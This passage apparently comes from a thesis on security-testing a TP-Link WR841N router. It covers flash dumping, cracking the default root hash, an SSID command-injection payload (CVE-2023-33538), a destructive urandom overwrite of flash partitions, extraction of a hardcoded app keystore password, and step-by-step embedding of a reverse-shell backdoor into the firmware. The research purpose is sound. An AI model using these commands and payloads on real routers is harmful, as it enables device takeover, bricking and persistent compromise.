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Figure 5.2. TP-Link WR841N with UART connection aided by PCBite

5.1.2 Bootlog and Gained System Informations
The full boot log collection process functioned as a diagnostic tool while establishing a
baseline for future system changes. The hypothesis suggested that boot messages would
display essential system details about partition layout, bootloader, kernel, and init system
versions which could be used to better understand the system but also to identify existing
security weaknesses.

The complete UART bootlog obtained from the target device is provided in Appendix A.
Only selected excerpts are reported here to highlight the most relevant stages of system ini-
tialization and partition mapping; the full log is preserved in the appendix for reproducibility
and forensic reference.

Bootlog highlights:

U-Boot 1.1.4 (Jun 16 2015 - 14:12:19)
ap143-2.0 - Honey Bee 2.0
DRAM: 32 MB
Flash: 4 MB
Using default environment

## Booting image at 9f020000 ...
Uncompressing Kernel Image ... OK

Starting kernel ...
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Linux version 2.6.31 (tomcat@buildserver)
CPU revision is: 00019374 (MIPS 24Kc)
ath_sys_frequency: cpu apb ddr apb cpu 650 ddr 393 ahb 216
Kernel command line:
console=ttyS0,115200 root=31:2 rootfstype=squashfs
mtdparts=ath-nor0:128k(u-boot),1024k(kernel),2816k(rootfs),

64k(config),64k(art)

The bootlog captures two essential functions: (1) it displays bootloader and kernel
messages which show hardware details including memory capacity and flash organization and
peripheral startup information and (2) it provides stable evidence about software versions
and runtime behavior which assists vulnerability assessment and exploit development.

The boot sequence provided essential system data which has been summarized in the
following section.

System info gained:

Bootloader:
U-Boot 1.1.4

OS:
Linux version 2.6.31 (2009)
Init system: BusyBox v1.01

Hardware:
CPU: MIPS 24Kc, 650 MHz
RAM: 32 MB, 393 MHz

Flash: 4 MB total, stored on NOR flash (ath-nor0 mtd device) with MTD
partitions:ñ→

u-boot: 128 KB
kernel: 1 MB
rootfs: 2.75 MB
config: 64 KB
art: 64 KB

So "rootfs" is read-only squashfs (typical embedded layout); configurations are
stored in "config", a small writable partition.ñ→

Wireless:
Atheros/QCA-family (legacy HAL ath_hal 0.9.17.1)

The device runs an outdated Linux kernel (2.6.31) together with U-Boot 1.1.4 and legacy
Atheros wireless components (ath_hal 0.9.17.1, MadWifi lineage). The software contains old
vendor-specific binaries and unpatched modules which do not have contemporary security
measures and multiple known security weaknesses. Users can experience remote threats
when attackers send specially crafted wireless frames that cause system crashes and enable
remote code execution and local users can gain elevated access.
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5.1.3 Flash Dump and Root Password Extraction
The next step was to obtain a complete, static copy of the firmware via external flash
dumping. This offline dump prevents runtime interference and protects the device during
analysis. Based on common practices in low-cost consumer devices, the working hypothesis
was that credentials and configuration parameters might be stored in plaintext or weakly
hashed form. The resulting firmware image can be analyzed with static methods such as
binwalk, filesystem extraction, and symbol or string inspection to identify configuration
elements like user accounts, password hashes, and other persistent settings. A static image
is essential for detailed reverse engineering and understanding the system.

The SPI flash was read using a CH341A programmer and an SOP8/SOIC8 test clip (see
Figure 5.3 for the hardware setup). The red wire of the clip must be placed on the flash
package pin marked with the small dot.

Figure 5.3. TP-Link WR841N flash dump using CH341A programmer and
SOP8/SOIC8 test clip

The read operation was performed with flashrom after identifying the correct flash
chip model (Winbond W25Q32BV) through visual inspection of the markings on the flash
package. The command used to create a bit-exact dump of the flash contents is shown
below:

flashrom -p ch341a_spi --progress -r firmware.bin -VV -c
W25Q32BV/W25Q32CV/W25Q32DVñ→

The SquashFS root filesystem became accessible after creating a bit-exact dump, which
allowed the extraction through tools like binwalk and unsquashfs. The extracted image
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contained the shadow password file:

$ cat etc/shadow
root:$1$GTN.gpri$DlSyKvZKMR9A9Uj9e9wR3/:15502:0:99999:7:::

By searching on web, it was found that the hash matched a default credential, which
belongs to this device family: the unencrypted password sohoadmin. The match was
validated using hashcat in a straightforward dictionary test:

hashcat --attack-mode 0 -m 500 thehash.txt thepwlist.txt
# thehash.txt contains "$1$GTN.gpri$DlSyKvZKMR9A9Uj9e9wR3/"
# thepwlist.txt contains "sohoadmin"
# hashcat succeeds in cracking the hash

The prefix $1$ in /etc/shadow indicates the MD5-Crypt scheme. The canonical format
is:

$id$salt$hash

The format requires $id$ to identify the algorithm (1 = MD5-Crypt) and includes
the per-hash salt value plus the encoded digest that results from the password and salt
combination.

The extracted firmware image contained a recoverable hashed root password. This
demonstrates that offline flash extraction can expose credential material which, if valid
on the running system, permits administrative access via available interfaces (for example
web or SSH). This finding motivated subsequent experiments that exercised both remote
management interfaces and local shells.

5.1.4 Interacting with U-Boot
To access the U-Boot console, it was pressed tpl at the beginning of boot. Available
commands:

ap143-2.0> help
? - alias for 'help'
boot - boot default, i.e., run 'bootcmd'
bootd - boot default, i.e., run 'bootcmd'
bootm - boot application image from memory
cp - memory copy
erase - erase FLASH memory
help - print online help
mct - simple RAM test
md - memory display
mm - memory modify (auto-incrementing)
mtest - simple RAM test
mw - memory write (fill)
nm - memory modify (constant address)
ping - send ICMP ECHO_REQUEST to network host
printenv- print environment variables
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progmac - Set ethernet MAC addresses
progmac2 - Set ethernet MAC addresses
reset - Perform RESET of the CPU
run - run commands in an environment variable
setenv - set environment variables
tftpboot- boot image via network using TFTP protocol
version - print monitor version

printenv output:

console=ttyS0,115200 root=31:02 rootfstype=jffs2 init=/sbin/init
mtdparts=ath-nor0:ñ→

32k(u-boot1),32k(u-boot2),3008k(rootfs),896k(uImage),64k(mib0),64k(ART)

This differs from kernel parameters that were printed during boot:

Kernel command line: console=ttyS0,115200 root=31:2 rootfstype=squashfs
init=/sbin/initñ→

Motivation and interpretation:

The U-Boot environment variables describe the values stored in the bootloader environment,
but they do not necessarily match the parameters actually passed to the kernel at runtime,
like in this case. The kernel command line shown in the boot log is the authoritative record
of what the kernel receives. In this system, the Linux device model uses the root=31:2
notation to denote a device identified by major number 31 (an MTD block device) and
minor number 2 (the partition index, corresponding to mtdblock2, i.e., the third partition

— the rootfs SquashFS partition). The Linux kernel provides the MTD (Memory Technology
Device) subsystem as an abstraction layer for flash-based storage devices.

5.1.5 Linux Shell Access and Filesystem Exploration
A local shell prompt was obtained using the credential material recovered from the firmware
image (root:sohoadmin). Examination of the device partitions via /proc/mtd produced
the following listing:

# cat /proc/mtd
dev: size erasesize name
mtd0: 00020000 00010000 "u-boot"
mtd1: 00100000 00010000 "kernel"
mtd2: 002c0000 00010000 "rootfs"
mtd3: 00010000 00010000 "config"
mtd4: 00010000 00010000 "art"

Motivation and hypothesis:

The inspection of the partition table served two purposes: first to verify the partition
layout matching the bootlog report, second to find the configuration partition, which holds
permanent device settings. The hypothesis is that the configuration partition would contain

47



Experimental Results

readable configuration blobs (credentials, SSID/PSK, and other settings) while the rootfs
would be a compressed read-only SquashFS image. art partition typically stores radio
calibration and factory data including MAC address, and power calibration.

Observed userland and tools:

busybox provides many stripped-down utilities (shell, coreutils, etc.) typical of embedded
Linux. Below are the main userland binaries and utilities present on the filesystem (collected
with simple ls commands):

$ ls bin/
busybox echo kill msh sleep
cat false ln ping true
chmod hostname login ps umount
date ip ls rm
df iptables-xml mount sh

$ ls sbin/
80211stats init iwpriv route
apstats insmod klogd syslogd
athstats iptables logread tc
athstatsclr iptables-multi lsmod udhcpc
brctl iptables-restore pktlogconf vconfig
getty iptables-save pktlogdump wifitool
hostapd iwconfig reboot wlanconfig
ifconfig iwlist rmmod wpa_supplicant

$ ls usr/bin/
[ dropbear httpd scp
arping dropbearconvert lld2d test
dbclient dropbearkey logger tftp

$ ls usr/sbin/
bpalogin dhcp6s pppd udhcpd
dhcp6c dropbearmulti radvd xl2tpd
dhcp6ctl ping6 radvdctl

The available binaries offered by this BusyBox set, reveal that the system contains
standard networking tools and system administration utilities. The web server httpd,
together with SSH service dropbear, provide administrative access to the system, so
their configuration settings and access control mechanisms need to be reviewed. Wireless
management utilities including hostapd, wpa_supplicant, iwconfig, and wlanconfig show
the components that handle network configuration and operation. This provides potential
points for security testing.

5.1.6 Modifying Wi-Fi and Router Passwords
A configuration change was performed via the device web interface to validate the configu-
ration persistence mechanism and to confirm the layout of the identified MTD partitions.
Through the web interface, users can configure the wireless passphrase as testwifipw, and
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set the administration password to testadminpw. During the settings application process,
the serial console displayed these flash operation messages:

Erase from 0X3E0000 to 0X3E9F50:
Program from 0X3E0000 to 0X3E9F50:
write successfully

Resulting evidence:

Post-modification inspection of /dev/mtdblock3 confirmed that the config partition had
been updated. Relevant entries included:

• admin 568ef81550071b3dc7a13beea465516f — the MD5 hash of testadminpw, re-
placing the previous hash corresponding to the default password admin.

• The Wi-Fi password was changed from the default numeric value 97928270 to the
string testwifipw.

The WPA pre-shared key is expected to be stored in plaintext within the configuration
partition because the router needs to start wireless services automatically at boot without
user input — unlike home computers, which sometimes ask users for storage decryption
passwords. The implementation of stronger protection measures would theoretically be
possible through credential storage encryption with device-specific keys or TPMs (Trusted
Platform Module) or TEEs (Trusted Execution Environments). Consumer-grade routers
do not include these security measures because their threat model focuses on defending
against threats that do not include physical or firmware-based attacks.

5.1.7 Boot Process and Initialization Scripts
The system starts by launching BusyBox through its init implementation where BusyBox
functions as a multi-call binary through a symlinked init binary:

init started: BusyBox v1.01 (2015.06.16-06:24+0000) multi-call binary
$ ll squashfs-root/sbin/init
squashfs-root/sbin/init -> ../bin/busybox

The basic process types that run at different system levels receive direction through the
/etc/inittab configuration settings:

::sysinit:/etc/rc.d/rcS
::respawn:/sbin/getty ttyS0 115200
::shutdown:/bin/umount -a

Semantics:

• sysinit: executed once during system initialization.

• respawn: ensures critical processes (e.g., getty on UART) are restarted if they exit.

• shutdown: commands executed during system shutdown.
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The evaluation of boot sequence and init configuration helped identify the services which
start up during system initialization. The rcS script initiates essential network programs
which include httpd web management interface (which also starts dropbear), and wireless
interface initialization utilities.

5.1.8 Executable Analysis (usr/bin/httpd)
Following the initialization analysis, the web server binary (usr/bin/httpd) was selected
for detailed inspection. The rationale for this focus is that httpd orchestrates the web
management interface. It handles configuration requests, making it a central component
for understanding both normal operation and potential attack surfaces.

The web server binary was characterized as follows:

usr/bin/httpd: ELF 32-bit MSB executable, MIPS, dynamically linked, interpreter
/lib/ld-uClibc.so.0ñ→

The httpd binary operates as a stripped executable because it lacks traditional ELF
section headers, yet it still provides essential symbol and relocation data through its dynamic
symbol table and runtime linking information. The tools readelf -D, objdump -T, and
strings can indeed show them. Thus, despite being stripped, the binary can be analyzed
more easily in Ghidra, with function names preserved, allowing a clearer understanding of
its behavior.

5.1.9 CVE-2023-33538 Vulnerability Test
A search for publicly known vulnerabilities was conducted by examining canonical vulnera-
bility databases and community-maintained repositories.

A historical analysis repository for the WR841N family [21] was consulted but its findings
did not match the firmware revision under test.

Instead, the device showed vulnerability to CVE-2023-33538 through additional tests
which identified a command injection flaw in the web management interface. The wireless
configuration component (/userRpm/WlanNetworkRpm.htm) contains a security weakness
because it does not properly validate SSID field input. This enables attackers to run
arbitrary commands.

The following example demonstrates the vulnerable pattern which exists in the firmware
code.

execFormatCmd("iwconfig %s essid %s", interface, ssid);

When SSID input was not properly sanitized, injection of shell metacharacters allowed
arbitrary command execution in the context of the management process. A practical exploit
payload such as entering as SSID:

anything ; reboot ;

caused the management subsystem to trigger a system reboot as soon as the configuration
was processed. The system entered into a continuous restart cycle because the inserted
command became part of the persistent configuration. This executed automatically during
every startup.
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The observed reboot loop functions as a local denial-of-service (DoS) attack but the same
injection primitive could lead to more damaging results. Remote command execution (RCE)
may be achievable from the LAN — and, depending on exposure (remote management
enabled, port-forwarding misconfiguration), from the WAN as well. An attacker who gains
RCE access can obtain payloads through tftp and use low-level utilities including dd to
overwrite MTD partitions and create persistent firmware-level backdoors. These backdoors
transform availability faults into total system breaches.

5.1.10 Impact and Recovery Strategy
The SSID-based command injection creates a soft-brick condition which prevents the device
from performing a complete startup while keeping its electrical systems operational. The
system enters an unending reboot cycle after it attempts to load the corrupted startup
configuration file. The front-panel button hardware reset had no impact because UART
logs show "reset button pressed" yet the reset handler fails to start early enough during
boot to stop the fault.

The process of external flash recovery requires the use of a SOIC8 test clip along with a
CH341A programmer which serves as a dependable method. The method demands multiple
connection attempts because the test clip often fails to establish a steady connection during
its operation.

The security breach reveals two essential device hardening lessons which organizations
must learn. All input data must undergo complete validation by management interfaces
to prevent injection primitives from occurring. The system requires devices to maintain
separate recovery mechanisms which operate independently from the operating system. The
recovery systems should operate at bootloader level to enable factory reset functionality
and hardware recovery modes. The system needs protection against permanent device
lockouts which stem from incorrect configuration settings.

5.1.11 Memory Access and Recovery Trials in U-Boot
Memory Address Mapping

The recovery process began with an analysis of the device memory map to understand how
the router manages its SPI flash and configuration partitions. The offset 0x003E0000, ob-
served earlier in the serial console logs during flash operations (Erase from 0x3E0000...),
was assumed to correspond to the configuration partition (mtd3). Using the U-Boot md.b
command to inspect this address space, however, returned data that did not correspond
to the configuration partition but to another region, indicating that the address did not
actually map to the intended flash area.

Reference to the QCA9531 SoC documentation [4] — used here as a reference since
no datasheet is publicly available for the QCA9533-BL3A, the actual SoC of the device

— clarified that the external SPI flash is memory-mapped starting from physical address
0x1F000000.

The configuration partition is thus located at:

Correct Physical Address = 0x1F000000 + 0x3E0000 = 0x1F3E0000
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Figure 5.4. QCA Physical Address Map [4]

The MIPS processor uses different virtual address segments, which makes the virtual
address equivalence depend on the current access mode [25].

• KUSEG (0x00000000-0x7FFFFFFF): user-space memory, translated via the TLB.

• KSEG0 (0x80000000-0x9FFFFFFF): kernel-space, cached, direct mapping.

• KSEG1 (0xA0000000-0xBFFFFFFF): kernel-space, uncached, direct mapping.

The general scheme shows that KUSEG functions as the user process virtual space,
which gets mapped through TLB. It does not function as a directly mapped area to physical
peripherals like KSEG0 and KSEG1 do.

For KSEG0 and KSEG1, the physical address in MIPS is typically [24] [23] obtained
through:

PA = VA & 0x1FFFFFFF

For example, the external SPI flash in the device is mapped in both KSEG0 and
KSEG1, allowing access to the same physical region via different virtual addresses. In
KSEG0, the flash appears at 0x9F000000-0x9FFFFFFF and can be accessed with caching
enabled, while in KSEG1 it is mapped to 0xBF000000-0xBFFFFFFF, bypassing the cache
to ensure immediate, coherent reads and writes. RAM follows a similar pattern: although
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it is accessible through both segments, KSEG1 is typically preferred for consistent access,
especially during early system initialization. MMIO regions, such as peripheral registers,
are also mapped in KSEG1 to prevent cache-induced inconsistencies.

Since U-Boot runs in kernel mode, memory can be accessed using both virtual and
physical addresses. So the SPI flash can be read via KSEG0, KSEG1, or the corresponding
physical addresses; however, accessing an address just before the flash, such as 0x1EFFFFFF,
may block the system, while reading from the correct starting address, 0x1F000000, returns
the expected contents.

Write Limitations in U-Boot

Preliminary experiments with U-Boot’s mw (memory write) command revealed that writes
issued to 0xBF000000 (KSEG1, uncached) appeared to modify values visible at 0x1F000000,
whereas writes to 0x9F000000 (KSEG0, cached) showed no immediate effect at 0x1F000000.
This difference can be attributed to caching: operations in KSEG1 directly interact with
the memory-mapped bus, while KSEG0 writes affect only the cache layer.

Although the system initially appeared to save the data in the config partition, the
information was lost after the computer rebooted. Thus, U-Boot’s mw command does
not execute actual SPI write operations. The current U-Boot build does not contain the
necessary flash-write routines to support permanent modification. Indeed, mw is always
used to write on RAM memory, not on flash.

RAM Boot and Config Persistence

As part of exploratory experiments on the bootloader and firmware behavior, attempts were
made to load the kernel into RAM rather than directly from flash. This approach allowed
observation of the early stages of system initialization, including kernel decompression,
memory mapping, and access to the configuration partition, without immediately committing
to flash execution.

By default, the router boots from flash address 0x9F020000. Attempting to manually
boot from RAM using:

ap143-2.0> bootm

produced an error:

## Booting image at 81000000 ...
Uncompressing Kernel Image ... Too big uncompressed streamLZMA ERROR 1 - must

RESET board to recoverñ→

The workaround was to manually copy the kernel image from flash storage into RAM
using:

ap143-2.0> cp.b 9f020000 81000000 100000
ap143-2.0> bootm

This correctly loaded the kernel from RAM, though configuration values were still fetched
from the persistent (and corrupted) config partition in flash, re-triggering the fault. In
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this system, the config partition is not mounted as a traditional filesystem. Instead, the
firmware loads an in-memory configuration structure during boot. When the user modifies
settings through the web interface, the firmware erases the corresponding flash sector and
writes the updated configuration block to flash.

5.1.12 External Flash Programming and Recovery
Given that the persistent configuration partition continued to trigger the reboot loop,
normal firmware-based recovery mechanisms (e.g., bootloader commands, reset button, etc)
proved insufficient. Direct manipulation of the SPI flash was therefore necessary to restore
a stable device state.

The SOIC8 test clip (pogo) connected to a CH341A programmer allowed the SPI flash
of the router to be accessed. The firmware image was dumped and subsequently edited
to remove the injected string ; reboot; from the SSID field, allowing for recovery of the
device.

Flash write command

The CH341A SPI driver enabled the device to receive firmware writing through the flashrom
tool:

flashrom -p ch341a_spi --progress -w firmware.bin -VV -c
W25Q32BV/W25Q32CV/W25Q32DVñ→

Firmware size mismatch and correction

The firmware binary was first modified to remove the injected ; reboot; string from the
SSID field. To preserve alignment and prevent corruption, spaces were inserted to replace
the removed characters, maintaining the overall layout of the file.

An initial attempt to flash the edited image failed because the binary had grown by one
byte, resulting in the following error from flashrom:

Error: Image size (4194305 B) doesn't match the expected size (4194304 B)!

At the time, it was unclear that this extra byte was introduced automatically by the text
editor at the end of the file. An attempt to remove a possibly superfluous space caused the
entire firmware content to shift by one byte, corrupting the layout and leading to system
crash during boot.

The issue was resolved by restoring the original spacing to maintain proper alignment
and then truncating the final, unused byte of the file using:

truncate -s 4194304 firmware.bin

After this correction, the device booted correctly.
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Hardware-related boot anomalies

Two non-software causes of boot failure were observed during recovery experiments:

• Test clip interference: The SOIC8/SOIC8 test clip left on the flash package (with
CH341A programmer disconnected) caused boot failure and all LEDs stayed off. The
system started working normally again when the clip was taken off. The clip, along
with leftover programmer components, create electrical disturbances which cause the
flash bus to malfunction. This triggers SoC instability.

• Power supply compatibility: The device failed to boot properly when powered by
a non-original power supply, which led to multiple system restarts; using the original
or equivalent power supply brought back system stability. The results demonstrate
how sensitive embedded systems are to power parameters, which makes power testing
essential for experimental success.

Both observations reinforce the requirement for careful hardware handling and for
reproducing experiments under controlled power and connection states.

5.1.13 Network and Storage Behavior
Network test and remote management check

The router’s network access limitations and its connectivity to upstream networks underwent
evaluation through a controlled experiment. The host PC was configured as a DHCP server
and connected to the router via its WAN port, simulating an upstream network that assigns
a public-like IP address to the router. The research objectives included three parts: (1)
validating the router’s DHCP IP address acquisition, (2) determining the default remote
management setting, and (3) analyzing how activating remote management affects web
panel access from the upstream network. The hypothesis was that consumer routers follow
the standard practice of limiting administrative control to the local area network because
these devices emphasize user friendliness and basic security above all else. The experiment
enabled both hypothesis validation and identification of potential security vulnerabilities
that could allow external router access.

Observed outcomes:

• The router obtained an IP address via DHCP as expected.

• Remote management was disabled by default.

• Enabling remote management made the web panel reachable from the upstream
network, demonstrating that remote exposure is possible when the feature is active.

These steps establish the device’s network exposure model and provide context for threat
assessment: a reachable management interface increases the potential impact of web-based
vulnerabilities, particularly in light of the known SSID command injection flaw.
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Filesystem, MTD partitions and mounting behavior

Runtime inspection of mounted filesystems produced:

# mount
/dev/mtdblock2 on / type squashfs (ro,relatime)
/proc on /proc type proc (rw,relatime)
devpts on /dev/pts type devpts (rw,relatime,mode=622)
none on /tmp type ramfs (rw,relatime)
none on /var type ramfs (rw,relatime)

The inspection aimed to gain an overview of mounted partitions and their roles in the
system. In particular, it highlighted which parts of the flash are exposed as filesystems and
which remain inaccessible or non-traditional.

Key findings:

• /dev/mtdblock3 (the config partition) contains a binary configuration blob and
is not a conventional mountable filesystem; its layout and offsets are available via
/proc/mtd.

• The root filesystem is provided as a SquashFS image and is mounted read-only. This
read-only property is enforced by the kernel’s Virtual File System (VFS) layer, which
implements filesystem semantics (permissions, mounting flags, and filesystem-specific
behaviours).

• The MTD device nodes (/dev/mtdblockX) expose raw access to flash contents. Writes
to these device nodes bypass the VFS semantics and issue raw writes to the underlying
flash image; therefore privileged direct writes (or writes performed by low-level utilities)
can modify persistent flash contents independently from the read-only property of
mounted filesystems.

The above distinctions explain why some actions that appear blocked by a read-only
filesystem can still alter persistent storage when performed at the block/device level.

Destructive experiments on MTD devices

Writing random data to raw MTD device nodes was used to test flash behaviour. For
example, the following loop was executed to overwrite partitions 0-3:

for i in 0 1 2 3; do cat /dev/urandom > /dev/mtdblock$i; done

This irreversibly corrupted the flash partitions, effectively bricking the device, confirming
that direct writes to /dev/mtdblockX bypass the VFS and can even overwrite partitions
such as the rootfs, which is normally mounted read-only, as well as any other partition.

This demonstrates that an attacker exploiting SSID command injection could perform
destructive low-level flash modifications beyond causing a reboot loop.
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5.1.14 Service Analysis
Port scan and remote exposure

A quick nmap scan from LAN showed the following open ports:

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1900/tcp open upnp
49152/tcp open unknown
MAC Address: 84:16:F9:2A:80:7C (TP-Link)

The scan aimed to enumerate network-facing services and verify whether the device
exposed only the intended administrative interface (HTTP). The presence of additional
services increases the attack surface and may indicate either developer backdoors or
convenience features that expand the attack surface.

Observations:

• SSH (22) and HTTP (80) are reachable from LAN.

• UPnP is present — this enables automatic NAT traversal requests from local applica-
tions (port mapping) and local discovery of devices; it is a possible attack vector if
misconfigured or abused.

Initial SSH / Dropbear behaviour

This investigation aims to determine how SSH access is managed internally and whether
authentication mechanisms or runtime flags could lead to privilege escalation or persistence.

While analyzing active services, the Dropbear SSH server was observed running with
the following truncated command line:

# ps
/usr/bin/dropbear -p 22 -r /tmp/dropbear/dropbear_rsa

Attempting to kill and reopen Dropbear using this truncated command line failed
because the expected RSA host key file did not exist under the truncated name. This
motivated a deeper investigation into the actual Dropbear invocation and related files.

Reconstruction and findings:

• The firmware’s ps truncates long command lines. From the decompiled httpd invoca-
tion, the actual Dropbear command appears to be:

/usr/bin/dropbear -p 22 -r /tmp/dropbear/dropbear_rsa_host_key \
-d /tmp/dropbear/dropbear_dss_host_key -A /tmp/dropbear/dropbearpwd

• The file /tmp/dropbear/dropbearpwd contains credentials in the form:

username:admin
password:21232f297a57a5a743894a0e4a801fc3
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Here, the password hash is the MD5 of "admin" (21232f297a57a5a743894a0e4a801fc3).
The admin:admin credentials are the same used to access the router via the mobile
application.

• The RSA host key (/tmp/dropbear/dropbear_rsa_host_key) is regenerated at each
reboot, preventing attackers from relying on a persistent key for targeted attacks such
as impersonating the router.

Wireless capture and packet analysis notes

To investigate SSH compatibility issues when connecting from a PC, relevant wireless traffic
between the mobile “Tether” app and the router was captured with airodump-ng and
analyzed in Wireshark. A complete EAPOL 4-way handshake is required to derive the
PMK/PTK for offline analysis, so the capture must include all four handshake messages.

During capture it was found that the wireless interface must be fixed to a single channel.
If airmon-ng was left in sweeping (channel-hop) mode, the sniffer often recorded only two
of the four EAPOL messages and therefore the full handshake could not be reconstructed.
Locking the interface to the AP’s channel reliably produced complete 4-message handshakes
suitable for analysis.

Tether client analysis and SSH key extraction

Static analysis of the mobile tether client (APK) was performed to inspect potential client
authentication mechanisms. The APK was decompiled with jadx-gui tool and its assets
examined; a PKCS#12 keystore (tether_client.p12) was discovered, together with a
hardcoded password in the decompiled code:

InputStream inputStreamOpen = context.getAssets().open("tether_client.p12");
keyStore.load(inputStreamOpen, "tplinktether2025".toCharArray());

Using the discovered password ("tplinktether2025") permitted extraction and conversion
of the private key:

openssl pkcs12 -in tether_client.p12 -nocerts -out private_key.pem -legacy
-nodesñ→

# (when prompted, enter password: tplinktether2025)
openssl ec -in private_key.pem -out openssl_private_key.pem
dropbearconvert openssh dropbear openssl_private_key.pem

dropbear_private_key.pemñ→

dbclient -i dropbear_private_key.pem root@192.168.0.1

Although the client key was successfully extracted and converted, that approach was
abandoned after discovering a simpler route: the router accepted the default web credentials
(admin:admin) over SSH.

SSH compatibility and service behaviour

Attempts to obtain interactive shells with modern OpenSSH clients produced errors such
as:
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PTY allocation request failed on channel 0
shell request failed on channel 0
# or
exec request failed on channel 0

Diagnosis and mitigations:

• The embedded Dropbear instance uses legacy key exchange algorithms; forcing legacy
KEX on the client can be necessary:

ssh -o KexAlgorithms=diffie-hellman-group1-sha1,diffie-hellman-group14-sha1
admin@192.168.0.1ñ→

• Server flags affect login behaviour. Restarting Dropbear with the -L flag enabled
interactive login on the test instance:

/usr/bin/dropbear -L -p 22 -r /tmp/dropbear/dropbear_rsa_host_key

which successfully enabled interactive login and a shell prompt. (On the production
firmware the service is launched by httpd with a slightly different set of flags; as seen
above.)

Application authentication model (Tether app)

Behavioral tests indicate that the Tether app uses a basic user for authentication rather
than starting interactive root sessions:

• Connection attempts succeed when root logins are disabled via Dropbear flags -w and
-g, indicating that the app authenticates using a non-root account.

• A new dropbear process appears in the ps output whenever the app connects to the
router, hence confirming that ssh shell is non-root.

• The connected user (dropbear) has in fact a limited shell with no write access to
critical filesystem areas. This allows the app to perform its intended operations while
preventing full root-level control of the device.

• The app loses its connection if all Dropbear processes are manually killed, but con-
nectivity is restored once Dropbear is manually restarted. This demonstrates that
the app relies entirely on the local SSH service and has no alternative or hidden
communication channel.

Other CVEs

• CVE-2025-6151: not applicable to the tested router.

• CVE-2025-53711: applicable once again in the /userRpm/WlanNetworkRpm.htm
component. An excessively long SSID causes the httpd process to crash. The
kernel and other services continue operating, and the corrupted SSID is not persisted.
Restarting httpd or rebooting restores normal service.

59



Experimental Results

5.1.15 Supply-chain Attack via Backdoor Insertion
The experiment creates a supply chain attack simulation through the deployment of a small
payload which permanently integrates a backdoor into the firmware image. The working
assumption was that the device provides no firmware integrity protections (no secure boot,
no firmware signature verification, and no effective flash write protection); under this
condition, offline modification of the SquashFS image is feasible. The hypothesis was that
a binary inserted into the image and referenced by startup scripts would be executed at
boot. Verifying this confirms the practical feasibility of firmware-level persistence and the
risk of lacking update and integrity protections.

TFTP-based payload delivery

The objective was to stage and execute a small userland payload on the target router. After
producing a compatible binary, the payload was staged on a host TFTP server and fetched
to the router. Host-side setup:

sudo dnf install tftp-server
sudo firewall-cmd --add-service=tftp --permanent
sudo mkdir -p /var/lib/tftpboot
sudo cp ./netcat /var/lib/tftpboot/
sudo chmod 644 /var/lib/tftpboot/netcat
sudo chown nobody:nobody /var/lib/tftpboot/netcat
sudo systemctl start tftp.service

Router-side fetch:

tftp -g -l /tmp/netcat -r netcat 192.168.0.100

This transfers the tested payload (e.g., netcat) to /tmp on the router; the payload is
intended as a small userland tool to provide a reverse shell or listener for runtime testing.

Cross-compilation challenges

Several attempts were made to produce a MIPS-compatible netcat for the router. Key
issues and lessons learned:

• Fedora did not provide a MIPS 32-bit cross toolchain.

• An older Ubuntu 16.04 VM was initially used to follow available guides and to reuse a
toolchain found inside a TP-Link GPL archive (for a different router model). The
attempted build steps were:

export PATH=/path/to/toolchain/usr/bin:$PATH
export LDFLAGS=-static
../netcat-src/configure --host=mips-linux --prefix=/tmp/build-nc/install
make
make install
file /tmp/build-nc/install/bin/netcat
qemu-mips-static /tmp/build-nc/install/bin/netcat -h
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But in this case the produced binary was reported as ELF 32-bit LSB (mipsel),
whereas the router’s native executables are ELF 32-bit MSB (big-endian MIPS).
Consequently, that binary would not run on the device.

Using Buildroot to produce a compatible toolchain

The Ubuntu VM approach was abandoned in favor of using Buildroot on a Fedora host to
build a proper toolchain and static binaries.

The main steps and observations:

• Cloned Buildroot and inspected available defconfigs for MIPS targets.

• Created a MIPS32 toolchain and enabled a statically linked C library (uClibc).

• Rebuilt netcat (and a small test payload) with the produced toolchain.

Conceptual example flow:

git clone https://github.com/buildroot/buildroot
make menuconfig # select target = mips/mips32r2, set toolchain

optionsñ→

make toolchain
# then build netcat with the produced toolchain
/path/to/toolchain/bin/mips-linux-gcc -static backdoor.c -o backdoor

Notes and troubleshooting:

• Multiple attempts were required: different Buildroot versions, kernel headers and libc
variants caused failures. By listing defconfigs (make list-defconfigs) an existing
MIPS32 target was identified and used (make <mips32_defconfig>), then make
clean and make menuconfig were run, changing only the C library option to uClibc
(static) while keeping kernel headers and architecture unchanged.

• After compiling the toolchain and rebuilding, file reported:

netcat: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV),
statically linkedñ→

sh (router): ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV),
dynamically linked, interpreter /lib/ld-uClibc.so.0ñ→

Confirming correct endianness and static linking.

• Ensure executable permission on the produced binary: chmod +x netcat.

Runtime incompatibilities and syscall limitations

Even with a correctly-endian, statically linked binary, execution on the router initially failed
with:

Error: Critical system request failed: Function not implemented
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This indicates that the binary invoked a syscall or library behavior unsupported by the
router’s older kernel (2.6.31).

Workarounds and lessons:
• Instead of using a full-featured netcat, a minimal C program (simple reverse shell

/ listener) was created and cross-compiled with the same toolchain. That binary
executed successfully:
../buildroot/output/host/bin/mips-linux-gcc -static backdoorTest.c -o

backdoorTestñ→

• Practical lesson: older embedded kernels may lack newer syscalls; a tiny custom C
payload often has higher compatibility than complex prebuilt utilities.

Embedding a persistent backdoor in the firmware image

To embed a persistent backdoor, it was modified the SquashFS rootfs and repacked the
firmware image.

The steps used:
# extract the squashfs portion from firmware.bin
dd if=firmware.bin of=squashfs.img skip=1179648 count=2794097 bs=1

# unsquash
sudo unsquashfs squashfs.img
sudo chown -R $USER:$USER squashfs-root/

# make changes (e.g., add backdoor binary and call it from rcS)
# ensure permissions and placement are correct

# repack, using LZMA compression and avoid extended attributes
mksquashfs squashfs-root/ newsquashfs.img -comp lzma -no-xattrs -noappend

# verify with binwalk (optional)
binwalk newsquashfs.img

# write the new squashfs back into the firmware container
dd if=newsquashfs.img of=firmware.bin bs=1 seek=1179648 conv=notrunc

# program flash
sudo flashrom -p ch341a_spi --progress -w firmware.bin -VV -c

W25Q32BV/W25Q32CV/W25Q32DVñ→

Caveats and operational notes:
• Use bs=1 when using skip and seek specified in bytes to avoid accidental misalignment.

• Use -no-xattrs when creating the SquashFS image. Extended attributes created on a
modern host (e.g., SELinux labels, ACLs) can cause the old embedded kernel to fail with
"SQUASHFS error: Xattrs in filesystem, these will be ignored" and break
boot.
-noappend ensures a fresh image is written instead of appending to an existing archive.
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• For interactive backdoor operation it was hard-coded the host IP (e.g., 192.168.0.100)
and used a listener on the host:

# On host
nc -l -p 4444

